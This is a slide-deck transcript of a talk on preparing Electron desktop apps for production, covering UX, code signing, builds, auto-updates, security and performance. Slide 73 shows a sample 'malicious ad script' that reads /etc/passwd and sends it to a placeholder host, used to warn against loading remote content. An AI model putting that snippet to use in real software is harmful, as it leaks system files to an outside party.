Real-World Electron

In this talk, you will learn how to take your Electron app and get it ready for production. Dot all the I's and cross all the T's to build the perfect app – indistinguishable from a real native app.

Level: Intermediate to Advanced

You're a Node.js developer, so you love writing JavaScript. If you're like me, you also love the web -- CSS, HTML, WebGL, and WebRTC are fast, fun, and powerful!

But sometimes you need to build a native app. No one wants to learn a new language, use proprietary SDKs, and use completely different tools to get things done. There is a huge learning curve to make apps for Mac, Windows, and all the different Linux distros.

But there's a solution! With Electron, you can build native apps using JavaScript and web technologies. Electron apps feel completely native and support automatic updates, native menus, notifications, crash reporting, a professional install experience, and more.

Transcript

1. REAL-WORLD
   ELECTRON
   

   View Slide

2. SHIP
   

   View Slide

3. SHIP
   

   View Slide

4. @FEROSS
   

   View Slide

5. View Slide

6. View Slide

7. View Slide

8. WEBTORRENT DESKTOP
   > 31 releases
   > 32 contributors
   > 350,000 installs
   

   View Slide

9. View Slide

10. WHOLE NEW WORLD
    

    View Slide

11. UX
    

    View Slide

12. USE THE DEFAULT CURSOR
    

    View Slide

13. USE THE MENU BAR
    

    View Slide

14. USE THE MENU BAR
    

    View Slide

15. WINDOWS TRAY
    

    View Slide

16. MAC APPS QUIT DIFFERENTLY
    

    View Slide

17. MAC APPS QUIT DIFFERENTLY
    app.on('window-all-closed', function (e) {
    if (process.platform !== 'darwin') {
    app.quit()
    }
    })
    

    View Slide

18. View Slide

19. View Slide

20. View Slide

21. View Slide

22. View Slide

23. CODE SIGNING
    

    View Slide

24. CODE SIGNING
    

    View Slide

25. WORKAROUND
    

    View Slide

26. WORKAROUND
    

    View Slide

27. WORKAROUND
    

    View Slide

28. CODE SIGNING
    

    View Slide

29. WORKAROUND
    

    View Slide

30. View Slide

31. GET A CERTIFICATE
    > Apple Developer Program $99
    > Windows Authenticode $100 - $500
    

    View Slide

32. VERISIGN
    THAWTE
    COMODO
    

    View Slide

33. VERISIGN
    THAWTE VERISIGN
    COMODO
    

    View Slide

34. VERISIGN SYMANTEC
    THAWTE VERISIGN SYMANTEC
    COMODO
    

    View Slide

35. SYMANTEC
    COMODO
    

    View Slide

36. SYMANTEC
    COMODO DO NOT USE!
    

    View Slide

37. View Slide

38. SIGN YOUR APPS
    > npm install electron-osx-sign
    > npm install electron-winstaller
    

    View Slide

39. BUILD
    

    View Slide

40. AVOID NATIVE DEPENDENCIES
    

    View Slide

41. BUILD FOR
    ALL PLATFORMS
    FROM
    ONE PLATFORM
    

    View Slide

42. ...WITH ONE EXCEPTION
    > Mac code signing only works on Mac
    

    View Slide

43. WHICH
    PLATFORMS?
    

    View Slide

44. MINIMUM
    > Windows Installer 32-bit
    > Mac Disk Image 64-bit
    > Linux Deb File 64-bit
    > Linux Deb File 32-bit
    

    View Slide

45. STEAM PLATFORM STATS
    

    View Slide

46. STEAM PLATFORM STATS
    > 6% use Windows 7 32-bit
    > 0.4% use Windows 8 32-bit
    > 1.5% use Windows 10 32-bit
    = 8% OF WINDOWS USERS ARE 32-BIT
    

    View Slide

47. WOW64
    WINDOWS 32-BIT ON WINDOWS 64-BIT
    

    View Slide

48. MAC IS 100% 64-BIT
    

    View Slide

49. LINUX IS ???
    

    View Slide

50. MINIMUM
    > Windows Installer 32-bit
    > Mac Disk Image 64-bit
    > Linux Deb File 64-bit
    > Linux Deb File 32-bit
    

    View Slide

51. MINIMUM
    > WebTorrentSetup.exe
    > WebTorrent.dmg
    > webtorrent-desktop_0.0.0-1_amd64.deb
    > webtorrent-desktop_0.0.0-1_i386.deb
    

    View Slide

52. COMPLETE
    > Windows Installer 64-bit
    > Windows Installer 32-bit
    > Mac Disk Image 64-bit
    > Linux Deb File 64-bit
    > Linux Deb File 32-bit
    > Linux Zip File 64-bit
    > Linux Zip File 32-bit
    

    View Slide

53. COMPLETE
    > WebTorrentSetup.exe
    > WebTorrentSetup-ia32.exe
    > WebTorrent.dmg
    > webtorrent-desktop_0.0.0-1_amd64.deb
    > webtorrent-desktop_0.0.0-1_i386.deb
    > WebTorrent-linux.zip
    > WebTorrent-linux-ia32.zip
    

    View Slide

54. ABOVE-AND-BEYOND
    > Linux ARM architecture
    > Mac App Store
    > Windows Store
    > Ubuntu Software Center
    

    View Slide

55. DOWNLOAD
    

    View Slide

56. OFFER THE
    RIGHT FILE
    

    View Slide

57. View Slide

58. OFFER THE RIGHT FILE
    > os.arch() → architecture of Node.js binary
    > arch() → architecture of operating system
    > npm install arch
    

    View Slide

59. OFFER THE RIGHT FILE
    const arch = require('arch')
    if (arch() === 'x64') {
    // 64-bit!
    } else {
    // 32-bit!
    }
    > Works in the browser
    

    View Slide

60. View Slide

61. View Slide

62. UPDATES
    

    View Slide

63. AUTO UPDATER
    const electron = require('electron')
    electron.autoUpdater.setFeedURL(AUTO_UPDATE_URL)
    electron.autoUpdater.checkForUpdates()
    electron.autoUpdater.on('error', ...)
    electron.autoUpdater.on('checking-for-update', ...)
    electron.autoUpdater.on('update-available', ...)
    electron.autoUpdater.on('update-not-available', ...)
    electron.autoUpdater.on('update-downloaded', ...)
    

    View Slide

64. View Slide

65. USERS HATE UPDATE PROMPTS
    

    View Slide

66. SILENT UPDATES
    

    View Slide

67. SECURITY
    

    View Slide

68. View Slide

69. WITH GREAT POWER
    COMES GREAT
    RESPONSIBLITY
    

    View Slide

70. AIR-GAP
    

    View Slide

71. ALWAYS USE HTTPS
    

    View Slide

72. DO NOT LOAD
    REMOTE CONTENT
    

    View Slide

73. MALICIOUS AD SCRIPT
    try {
    var fs = require('fs')
    var data = fs.readFileSync('/etc/passwd')
    // Steal the data
    var req = new XMLHttpRequest()
    req.open('GET', 'http://example.com', true)
    req.send(data.toString())
    } catch (err) {}
    

    View Slide

74. KEEP YOUR
    SERVER SECURE
    

    View Slide

75. View Slide

76. View Slide

77. View Slide

78. View Slide

79. View Slide

80. View Slide

81. View Slide

82. View Slide

83. DOWNLOAD
    PERFORMANCE
    

    View Slide

84. USE A CDN
    

    View Slide

85. DEPENDENCY HYGIENE
    

    View Slide

86. electron-packager IGNORE
    /^\/src|^\/dist|\/(appveyor.yml|\.appveyor.yml|
    \.github|appdmg|AUTHORS|CONTRIBUTORS|bench|benchmark|
    benchmark\.js|bin|bower\.json|component\.json|coverage|
    doc|docs|docs\.mli|dragdrop\.min\.js|example|examples|
    example\.html|example\.js|externs|ipaddr\.min\.js|Makefile|
    min|minimist|perf|rusha|simplepeer\.min\.js|
    simplewebsocket\.min\.js|static\/screenshot\.png|
    test|tests|test\.js|tests\.js|webtorrent\.min\.js|
    \.[^\/]*|.*\.md|.*\.markdown)$/
    

    View Slide

87. STARTUP
    PERFORMANCE
    

    View Slide

88. MINIMIZE require() CALLS
    IN CRITICAL PATH
    

    View Slide

89. var Module = require('module')
    Module.prototype.require = function (orig) { return function (id) {
    console.trace(this, id)
    return orig.apply(this, arguments)
    }}(Module.prototype.require)
    

    View Slide

90. electron-packager ASAR
    > app → app.asar
    > One file instead of 1000s
    > Fix Windows "max path length" bug
    

    View Slide

91. MEASURE
    

    View Slide

92. CATCH RUNTIME ERRORS
    process.on('uncaughtException', ...)
    window.addEventListener('error', ...)
    

    View Slide

93. CATCH SEG FAULTS
    const electron = require('electron')
    electron.crashReporter.start({
    companyName: COMPANY_NAME,
    productName: APP_NAME,
    submitURL: CRASH_REPORT_URL
    })
    

    View Slide

94. TELEMETRY
    > Installs
    > Active users
    > User retention
    > Error stack traces
    > Version Skew
    

    View Slide

95. ERROR RATE
    

    View Slide

96. VERSION SKEW
    

    View Slide

97. 1. Measure
    2. Release
    3. Repeat
    

    View Slide

98. KEEP IMPROVING!
    

    View Slide

99. THANKS
    @FEROSS
    

    View Slide